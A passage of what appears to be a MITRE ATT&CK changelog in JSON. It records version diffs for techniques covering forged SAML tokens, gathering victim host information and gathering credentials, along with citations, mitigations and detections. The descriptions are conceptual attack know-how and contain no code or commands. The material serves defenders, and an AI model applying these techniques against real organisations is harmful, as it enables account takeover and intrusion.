the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\\n\\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\\n\\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)\", \"old_value\": \"An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\\n\\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\\n\\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\\n \\n-An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)\\n+An adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}, \"root['x_mitre_platforms'][4]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Google Workspace\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may forge SAML tokens with any permissions clait1An adversary may forge SAML tokens with any permissions clai
>ms and lifetimes if they possess a valid SAML token-signing >ms and lifetimes if they possess a valid SAML token-signing 
>certificate.(Citation: Microsoft SolarWinds Steps) The defau>certificate.(Citation: Microsoft SolarWinds Steps) The defau
>lt lifetime of a SAML token is one hour, but the validity pe>lt lifetime of a SAML token is one hour, but the validity pe
>riod can be specified in the <code>NotOnOrAfter</code> value>riod can be specified in the <code>NotOnOrAfter</code> value
> of the <code>conditions ...</code> element in a token. This> of the <code>conditions ...</code> element in a token. This
> value can be changed using the <code>AccessTokenLifetime</c> value can be changed using the <code>AccessTokenLifetime</c
>ode> in a <code>LifetimeTokenPolicy</code>.(Citation: Micros>ode> in a <code>LifetimeTokenPolicy</code>.(Citation: Micros
>oft SAML Token Lifetimes) Forged SAML tokens enable adversar>oft SAML Token Lifetimes) Forged SAML tokens enable adversar
>ies to authenticate across services that use SAML 2.0 as an >ies to authenticate across services that use SAML 2.0 as an 
>SSO (single sign-on) mechanism.(Citation: Cyberark Golden SA>SSO (single sign-on) mechanism.(Citation: Cyberark Golden SA
>ML)  An adversary may utilize [Private Keys](https://attack.>ML)  An adversary may utilize [Private Keys](https://attack.
>mitre.org/techniques/T1552/004) to compromise an organizatio>mitre.org/techniques/T1552/004) to compromise an organizatio
>n's token-signing certificate to create forged SAML tokens. >n's token-signing certificate to create forged SAML tokens. 
>If the adversary has sufficient permissions to establish a n>If the adversary has sufficient permissions to establish a n
>ew federation trust with their own Active Directory Federati>ew federation trust with their own Active Directory Federati
>on Services (AD FS) server, they may instead generate their >on Services (AD FS) server, they may instead generate their 
>own trusted token-signing certificate.(Citation: Microsoft S>own trusted token-signing certificate.(Citation: Microsoft S
>olarWinds Customer Guidance) This differs from [Steal Applic>olarWinds Customer Guidance) This differs from [Steal Applic
>ation Access Token](https://attack.mitre.org/techniques/T152>ation Access Token](https://attack.mitre.org/techniques/T152
>8) and other similar behaviors in that the tokens are new an>8) and other similar behaviors in that the tokens are new an
>d forged by the adversary, rather than stolen or intercepted>d forged by the adversary, rather than stolen or intercepted
> from legitimate users.  An adversary may gain administrativ> from legitimate users.  An adversary may gain administrativ
>e Azure AD privileges if a SAML token is forged which claims>e Entra ID privileges if a SAML token is forged which claims
> to represent a highly privileged account. This may lead to > to represent a highly privileged account. This may lead to 
>[Use Alternate Authentication Material](https://attack.mitre>[Use Alternate Authentication Material](https://attack.mitre
>.org/techniques/T1550), which may bypass multi-factor and ot>.org/techniques/T1550), which may bypass multi-factor and ot
>her authentication protection mechanisms.(Citation: Microsof>her authentication protection mechanisms.(Citation: Microsof
>t SolarWinds Customer Guidance)>t SolarWinds Customer Guidance)
", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0006: Web Credential (Web Credential Creation)", + "DS0006: Web Credential (Web Credential Usage)", + "DS0009: Process (Process Creation)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:39:33.966000+00:00", + "modified": "2024-10-03 19:35:07.269000+00:00", + "name": "Gather Victim Host Information", + "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary\u2019s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1592", + "external_id": "T1592" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": "TrellixQakbot", + "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.", + "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Sam Seabrook, Duke Energy" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_contributors']\": [\"Sam Seabrook, Duke Energy\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-03 19:35:07.269000+00:00\", \"old_value\": \"2021-10-17 16:35:09.878000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\\n\\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\\n\\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary\\u2019s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)\", \"old_value\": \"Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\\n\\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\\n \\n Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\\n+\\n+Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary\\u2019s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"TrellixQakbot\", \"description\": \"Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.\", \"url\": \"https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may gather information about the victim's hosts t1Adversaries may gather information about the victim's hosts 
>that can be used during targeting. Information about hosts m>that can be used during targeting. Information about hosts m
>ay include a variety of details, including administrative da>ay include a variety of details, including administrative da
>ta (ex: name, assigned IP, functionality, etc.) as well as s>ta (ex: name, assigned IP, functionality, etc.) as well as s
>pecifics regarding its configuration (ex: operating system, >pecifics regarding its configuration (ex: operating system, 
>language, etc.).  Adversaries may gather this information in>language, etc.).  Adversaries may gather this information in
> various ways, such as direct collection actions via [Active> various ways, such as direct collection actions via [Active
> Scanning](https://attack.mitre.org/techniques/T1595) or [Ph> Scanning](https://attack.mitre.org/techniques/T1595) or [Ph
>ishing for Information](https://attack.mitre.org/techniques/>ishing for Information](https://attack.mitre.org/techniques/
>T1598). Adversaries may also compromise sites then include m>T1598). Adversaries may also compromise sites then include m
>alicious content designed to collect host information from v>alicious content designed to collect host information from v
>isitors.(Citation: ATT ScanBox) Information about hosts may >isitors.(Citation: ATT ScanBox) Information about hosts may 
>also be exposed to adversaries via online or other accessibl>also be exposed to adversaries via online or other accessibl
>e data sets (ex: [Social Media](https://attack.mitre.org/tec>e data sets (ex: [Social Media](https://attack.mitre.org/tec
>hniques/T1593/001) or [Search Victim-Owned Websites](https:/>hniques/T1593/001) or [Search Victim-Owned Websites](https:/
>/attack.mitre.org/techniques/T1594)). Gathering this informa>/attack.mitre.org/techniques/T1594)). Gathering this informa
>tion may reveal opportunities for other forms of reconnaissa>tion may reveal opportunities for other forms of reconnaissa
>nce (ex: [Search Open Websites/Domains](https://attack.mitre>nce (ex: [Search Open Websites/Domains](https://attack.mitre
>.org/techniques/T1593) or [Search Open Technical Databases](>.org/techniques/T1593) or [Search Open Technical Databases](
>https://attack.mitre.org/techniques/T1596)), establishing op>https://attack.mitre.org/techniques/T1596)), establishing op
>erational resources (ex: [Develop Capabilities](https://atta>erational resources (ex: [Develop Capabilities](https://atta
>ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http>ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http
>s://attack.mitre.org/techniques/T1588)), and/or initial acce>s://attack.mitre.org/techniques/T1588)), and/or initial acce
>ss (ex: [Supply Chain Compromise](https://attack.mitre.org/t>ss (ex: [Supply Chain Compromise](https://attack.mitre.org/t
>echniques/T1195) or [External Remote Services](https://attac>echniques/T1195) or [External Remote Services](https://attac
>k.mitre.org/techniques/T1133)).>k.mitre.org/techniques/T1133)).  Adversaries may also gather
 > victim host information via User-Agent HTTP headers, which 
 >are sent to a server to identify the application, operating 
 >system, vendor, and/or version of the requesting user agent.
 > This can be used to inform the adversary\u2019s follow-on action
 >. For example, adversaries may check user agents for the req
 >uesting operating system, then only serve malware for target
 > operating systems while ignoring others.(Citation: TrellixQ
 >akbot)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 14:55:43.815000+00:00", + "modified": "2024-10-10 13:45:01.069000+00:00", + "name": "Credentials", + "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1589/001", + "external_id": "T1589.001" + }, + { + "source_name": "Bleeping Computer 2easy 2021", + "description": "Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": "Detectify Slack Tokens", + "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.", + "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/" + }, + { + "source_name": "GitHub truffleHog", + "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.", + "url": "https://github.com/dxa4481/truffleHog" + }, + { + "source_name": "Bleeping Computer Stealer Logs 2023", + "description": "Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/" + }, + { + "source_name": "Register Uber", + "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.", + "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/" + }, + { + "source_name": "GitHub Gitrob", + "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.", + "url": "https://github.com/michenriksen/gitrob" + }, + { + "source_name": "CNET Leaks", + "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", + "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/" + }, + { + "source_name": "Okta Scatter Swine 2022", + "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.", + "url": "https://sec.okta.com/scatterswine" + }, + { + "source_name": "Forbes GitHub Creds", + "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.", + "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196" + }, + { + "source_name": "SecureWorks Infostealers 2023", + "description": "SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.", + "url": "https://www.secureworks.com/research/the-growing-threat-from-infostealers" + }, + { + "source_name": "Register Deloitte", + "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", + "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vinayak Wadhwa, Lucideus", + "Lee Christensen, SpecterOps", + "Toby Kohlenberg", + "Massimo Giaimo, W\u00fcrth Group Cyber Defence Center" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-10 13:45:01.069000+00:00\", \"old_value\": \"2023-04-14 23:29:10.396000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\\n\\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\\n\\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\\n\\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). \", \"old_value\": \"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\\n\\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\\n\\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,7 @@\\n Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\\n \\n-Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\\n+Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\\n+\\n+Credential information may also be exposed to adversaries via 